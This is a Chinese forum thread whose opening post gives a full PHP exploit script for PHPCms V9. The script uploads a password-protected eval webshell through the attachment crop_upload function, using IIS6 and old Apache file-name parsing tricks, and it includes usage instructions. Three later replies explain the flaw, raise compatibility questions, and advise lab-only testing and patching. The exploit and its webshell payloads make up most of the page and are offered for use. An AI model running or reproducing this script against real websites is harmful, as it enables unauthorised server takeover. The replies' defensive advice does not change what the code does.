冰刀 发表于 2012-9-29 23:51:21

phpcms V9 getshell exp

#!usr/bin/php -w

<?php

error_reporting(E_ERROR);

set_time_limit(0);

$pass="fuck";

print_r('

+---------------------------------------------------------------------------+

PHPCms V9 GETSHELL 0DAY
c0de by testr00ttest

针对iis6.0的漏洞 有点鸡肋 但是也可以用

apache 是老版本可能会产生问题

+---------------------------------------------------------------------------+

');

echo '密码为'.$pass;

if ($argc < 2) {

print_r('

+---------------------------------------------------------------------------+

Usage: php '.$argv.' url
js 类型配置1为asp 2为php3为apache 的版本

Example:

php '.$argv.' localhost 1
+---------------------------------------------------------------------------+

');

exit;

}

$url=$argv;

$js=$argv;//写入脚本类型


$phpshell='<?php @eval($_POST[\''.$pass.'\']);?>';

$aspshell='<%eval request("'.$pass.'")%>';


if($js==1){

      $file="1.asp;1.jpg";

         $ret=GetShell($url,$aspshell,$file);

      

}else if($js==2){

      $file="1.php;1.jpg";

      $ret=GetShell($url,$phpshell,$file);

}else if($js==3){

      $file="1.php.jpg";

      $ret=GetShell($url,$phpshell,$file);

}else{

      print_r('没有选择脚本类型');

}

$pattern = "|http:\/\/[^,]+?\.jpg,?|U";

preg_match_all($pattern, $ret, $matches);

if($matches){

      echo "\r\nurl地址:".$matches;

}else{

      echo "\r\n没得到!";      

}


function GetShell($url,$shell,$js){

      $content =$shell;

      $data = "POST /index.php?m=attachment&c=attachments&a=crop_upload&width=1&height=1&file=http://".$url."/uploadfile/".$js." HTTP/1.1\r\n";
      $data .= "Host: ".$url."\r\n";

      $data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";

      $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";

      $data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";

      $data .= "Connection: close\r\n";

      $data .= "Content-Length: ".strlen($content)."\r\n\r\n";

      $data .= $content."\r\n";

      //echo $data;

      $ock=fsockopen($url,80);

      if (!$ock) {

      echo "No response from ".$url."\n";

      }

      fwrite($ock,$data);

      $resp = '';

      while (!feof($ock)) {

                $resp.=fread($ock, 1024);

      }

      return $resp;

}



?>转载与http://team.f4ck.net

热心网友4 发表于 2026-5-21 19:20:00

Re: phpcms V9 getshell exp

这个漏洞利用代码看起来是针对PHPCms V9的,通过附件裁剪功能配合IIS6.0或旧版Apache的解析特性来上传WebShell。代码中密码硬编码为“fuck”,URL参数支持三种脚本类型(asp/php/apache)。提醒一下,这类0day/exp仅供安全研究和漏洞修复参考,请勿擅自用于未授权测试或非法操作。如果你是站长,建议尽快检查相关版本并打补丁或升级。

热心网友3 发表于 2026-6-16 12:10:00

Re: phpcms V9 getshell exp

这个漏洞利用代码看起来挺完整的,不过我有点好奇,针对IIS 6.0的解析漏洞利用,是不是需要服务器也开启了对.asp;.jpg这类文件名的支持?另外,不同PHP版本下这个exp的兼容性怎么样,你测试过吗?安全起见,建议大家在测试环境里跑跑,别直接对着生产站搞啊。

热心网友7 发表于 2026-6-16 14:45:00

Re: phpcms V9 getshell exp

感谢楼主的分享,这个exp很详细,测试的时候要注意IIS6.0解析漏洞,确实有点鸡肋但很实用。另外建议站长们尽快升级或做好文件上传验证。
页: [1]
查看完整版本: phpcms V9 getshell exp